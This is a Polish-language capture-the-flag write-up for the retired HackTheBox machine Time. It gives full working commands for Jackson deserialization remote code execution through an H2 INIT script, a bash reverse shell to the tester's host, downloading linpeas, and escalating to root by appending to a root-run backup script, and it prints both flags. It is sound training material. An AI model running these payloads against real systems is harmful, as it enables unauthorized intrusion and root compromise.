Writeup: Maszyna HackTheBox Time
Uwaga: Zgodnie z polityką HTB dozwolone jest publikowanie rozwiązań wyłącznie wycofanych maszyn. Maszyna opisana w tym artykule - Time - spełnia ten warunek.1. TLDR
2. Przygotowanie
Przygotowałem przydatne zmienne:
export IP=10.10.10.214
3. Skanowanie i rozpoznanie
Na początku uruchomiłem skanowanie narzędziem nmap w celu ujawnienia i identyfikacji usług, które zostały uruchomione na 1000 najbardziej popularnych portach.
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Time]
└──╼ $nmap $IP -sC -sV -n -Pn -T5 -oN nmap/01-initial.txt
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-30 06:51 CET
Nmap scan report for 10.10.10.214
Host is up (0.059s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Online JSON parser
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.77 seconds
Na serwerze był uruchomiony serwer http. Uruchomiłem więc narzędzie gobuster:
t4wny0wl@whitehatlab$ gobuster dir -u $IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | tee gobuster/01-initial.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.214
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/10/30 06:59:03 Starting gobuster
===============================================================
/images (Status: 301)
/css (Status: 301)
/js (Status: 301)
/javascript (Status: 301)
/vendor (Status: 301)
/fonts (Status: 301)
oraz nikto:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Time]
└──╼ $cat nikto/01-initial.txt
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.10.214
+ Target Hostname: 10.10.10.214
+ Target Port: 80
+ Start Time: 2020-11-04 23:11:44 (GMT1)
---------------------------------------------------------------------------
+ Server: Apache/2.4.41 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ IP address found in the 'location' header. The IP is "127.0.1.1".
+ OSVDB-630: The web server may reveal its internal or real IP in the Location header via a request to /images over HTTP/1.0. The value is "127.0.1.1".
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ 7864 requests: 0 error(s) and 6 item(s) reported on remote host
+ End Time: 2020-11-04 23:18:28 (GMT1) (404 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
*********************************************************************
Portions of the server's headers (Apache/2.4.41) are not in
the Nikto 2.1.6 database or are newer than the known string. Would you like
to submit this information (*no server specific data*) to CIRT.net
for a Nikto update (or you may email to sullo@cirt.net) (y/n)?
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
+ The site uses SSL and Expect-CT header is not present.
- Sent updated info to cirt.net -- Thank you!
Na serwerze http dostępna była strona internetowa:
Dostępne są dwie opcje, które przetestowałem tym samym inputem: {"A":1}
:
- Beautify
- Validate (beta!)
Błąd, który się pojawił to:
Validation failed: Unhandled Java exception:
com.fasterxml.jackson.databind.exc.MismatchedInputException:
Unexpected token (START_OBJECT), expected START_ARRAY:
need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object
Wynikało z tego, że mamy tutaj doczynienia z błędem związanym z deserializacją.
4. Uzyskanie dostępu
Zacząłem szukać informacji w sieci:
Trafiłem na artykuły oraz CVE:
- https://github.com/fasterxml/jackson-databind/issues/2052
- https://nvd.nist.gov/vuln/detail/CVE-2018-12022
- https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062
oraz ostatecznie:
- https://nvd.nist.gov/vuln/detail/CVE-2019-12384
- https://blog.doyensec.com/2019/07/22/jackson-gadgets.html
Korzystając z opisu w ostatnim z artykułów przygotowałem plik:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Time]
└──╼ $cat inject.sql
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('setsid bash -i &>/dev/tcp/10.10.15.46/4444 0>&1 &')
oraz uruchomiłem serwer http:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Time]
└──╼ $python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/)
Następnie przygotowałem narzędzie netcat:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Time]
└──╼ $nc -nvlp 4444
listening on [any] 4444 ...
oraz korzystając z BurpSuite przesłałem zapytanie:
POST / HTTP/1.1
Host: 10.10.10.214
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 173
Origin: http://10.10.10.214
DNT: 1
Connection: close
Referer: http://10.10.10.214/
Upgrade-Insecure-Requests: 1
mode=2&data=["ch.qos.logback.core.db.DriverManagerConnectionSource",{"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.15.46:8000/inject.sql'"}]
W ten sposób została nawiązana sesja:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Time]
└──╼ $nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.15.46] from (UNKNOWN) [10.10.10.214] 43914
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
pericles@time:/var/www/html$
Odczytałem zatem flagę:
pericles@time:/var/www/html$ cat ~/user.txt
cat ~/user.txt
33330ac94764a85bd0fe2c9550c472e8
5. Eskalacja uprawnień: pericles ⇨ root
Ustabilizowałem shella:
python3 -c import pty; pty.spawn("/bin/bash")
Pobrałem narzędzie linpeas.sh:
pericles@time:/dev/shm$ wget http://10.10.15.46:8000/linpeas.sh
--2020-11-05 22:47:32-- http://10.10.15.46:8000/linpeas.sh
Connecting to 10.10.15.46:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 228272 (223K) [text/x-sh]
Saving to: 'linpeas.sh'
linpeas.sh 100%[===================>] 222.92K 822KB/s in 0.3s
2020-11-05 22:47:32 (822 KB/s) - 'linpeas.sh' saved [228272/228272]
a następnie je uruchomiłem:
pericles@time:/dev/shm$ chmod +x linpeas.sh
pericles@time:/dev/shm$ ./linpeas.sh
Na standardowym wyjściu moją uwagę zwrócił fragment:
[+] Interesting GROUP writable files (not in Home) (max 500)
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files
Group pericles:
/usr/bin/timer_backup.sh
Zawartość pliku to:
pericles@time:/dev/shm$ cat /usr/bin/timer_backup.sh
#!/bin/bash
zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip
Ale gdzie był wykorzystywany plik /usr/bin/timer_backup.sh:
pericles@time:/dev/shm$ grep -r timer_backup.sh / 2>/dev/null
/etc/systemd/system/web_backup.service:ExecStart=/bin/bash /usr/bin/timer_backup.sh
6. Odczytanie flagi roota
Dopisałem kawałek kodu do skryptu:
pericles@time:/dev/shm$ echo 'cp /root/root.txt /dev/shm/74wny0wl.txt && chmod 777 /dev/shm/74wny0wl.txt' >> /usr/bin/timer_backup.sh
Pozostało odczytać i usunąć flagę:
pericles@time:/dev/shm$ cat 74wny0wl.txt
c1c7f15d17358d2de3135b24a10abf83
pericles@time:/dev/shm$ rm 74wny0wl.txt
7. Podsumowanie
Do zdobycia flag doprowadziły poniższe okoliczności:
- Przestarzała biblioteka posiadająca znaną podatność
- Skrypt uruchamiany na prawach roota, do którego mieli dostęp pozostali użytkownicy